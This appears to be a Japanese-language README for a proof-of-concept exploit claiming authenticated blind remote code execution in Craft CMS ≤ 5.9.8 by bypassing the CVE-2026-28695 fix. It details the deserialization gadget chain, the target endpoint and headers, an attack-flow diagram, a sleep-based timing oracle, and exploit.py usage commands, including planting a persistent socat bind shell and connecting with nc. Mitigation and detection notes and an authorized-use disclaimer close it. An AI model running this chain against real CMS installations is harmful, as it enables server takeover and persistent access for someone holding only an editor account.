Craft CMS における認証済みの**ブラインド**リモートコード実行。CVE-2026-28695 の修正
element-search)CVSS 3.x : 8.8 HIGH (概算 — 要検証)
CWE : CWE-502 (安全でないオブジェクトのインスタンス化) + CWE-1336 (SSTI の起源)
Base : CVE-2026-28695 (create() + Symfony Process 経由の SSTI)
Fix : アドバイザリ修正 e31e508 (create() を BaseObject に制限) — ここでバイパスされる
Affects : CVE-2026-28695 の修正が適用された Craft CMS ≤ 5.9.8
Craft CMS における認証済みの ブラインド リモートコード実行。CVE-2026-28695 の公式修正は
create() を yii\base\BaseObject のサブクラスに制限するだけである。
yii\behaviors\AttributeTypecastBehavior ガジェットは BaseObject でありながら、
call_user_func() シンクに到達するため、このフィルタをすり抜ける。非 Twig の
admin/actions/element-search/search アクション経由で配信されるため、
CRAFT_ENABLE_TWIG_SANDBOX も回避する。Content Editor アカウントで十分である。
Craft の element-search コントローラは、Yii の Craft::createObject() / Instance
機構を通じて、攻撃者の JSON を生きた PHP オブジェクトにデシリアライズする。
attributeTypes が属性を呼び出し可能な [Psy\Readline\Hoa\ConsoleProcessus, execute]
にマッピングする AttributeTypecastBehavior を添付し、beforeSave イベントを発火させることで、
型変換は次のようになる:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
このエンドポイントは常に HTTP 500 を返し、コマンド出力を返さない — 実行はブラインドである。
create() + Symfony Process 経由の SSTI で、Twig シンク
(通常は Entry Types → Title Format) から到達する。e31e508 が create() を BaseObject のサブクラスに制限し、
さらにターゲットは CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) かつ
CRAFT_ENABLE_TWIG_SANDBOX=true で動作している。文書化されたベクターは三重に閉ざされている。yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
構造上、二重のバイパス:
element-search は PHP オブジェクトの経路であり、Twig レンダリングではない。
CRAFT_ENABLE_TWIG_SANDBOX はテンプレートエンジンだけを制御するため、決して適用されない。create() を BaseObject に制限する。AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject であるため、新しい制約を満たしつつ、
依然として実行シンクを提供する。修正は一つのクラスファミリを閉じたのであり、
BaseObject クラスを閉じたのではない。エンドポイント:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute() はコマンドを escapeshellcmd() 経由で実行する:
| && ; > < $() ' " → チェーン、パイプ、リダイレクト、
古典的な bash リバースシェルは不可。: , /これが、ペイロードがリバースシェルではなく、単一の socat TCP-LISTEN,fork EXEC バインド
シェル (引数は : / , / /) である理由である。
Attacker (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| Status | Versions |
|---|---|
| Vulnerable | Craft CMS ≤ 5.9.8 with the CVE-2026-28695 fix |
| Note | The gadget requires an authenticated CP session |
| File | Role |
|---|---|
exploit.py | PoC: login → timing-oracle check → single cmd → bind shell |
README.md | This file |
requests が必要 (pip install requests)。
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
何が起こるか:
AttributeTypecastBehavior ガジェットを element-search に送信する。--check は注入されたレイテンシによってブラインド実行を証明する; --bind は socat リスナーを設置する。create() だけでなく) で
オブジェクトのインスタンス化を制約するリリースにアップグレードし、element-search の
条件処理を監査する。CRAFT_ALLOW_ADMIN_CHANGES=false を維持し、かつ Content Editor の権限を最小化する —
ここでは認証が唯一の前提条件である。ConsoleProcessus::execute ガジェットに到達可能な場合、バンドルされた psy/psysh (Hoa)
依存関係を削除/アップグレードする。__class、as rce、または AttributeTypecastBehavior を含む
element-search/search ボディに警告する; そのアクションからの HTTP 500 のバーストにフラグを立てる。e31e508 (create() → BaseObject 制限)AttributeTypecastBehavior / yii\base\Security ドキュメントこのプロジェクトは、許可されたセキュリティテスト、教育、および防御的研究のみを目的としています。 適用される法律およびラボまたはクライアントの交戦規則を遵守する責任はあなたにあります。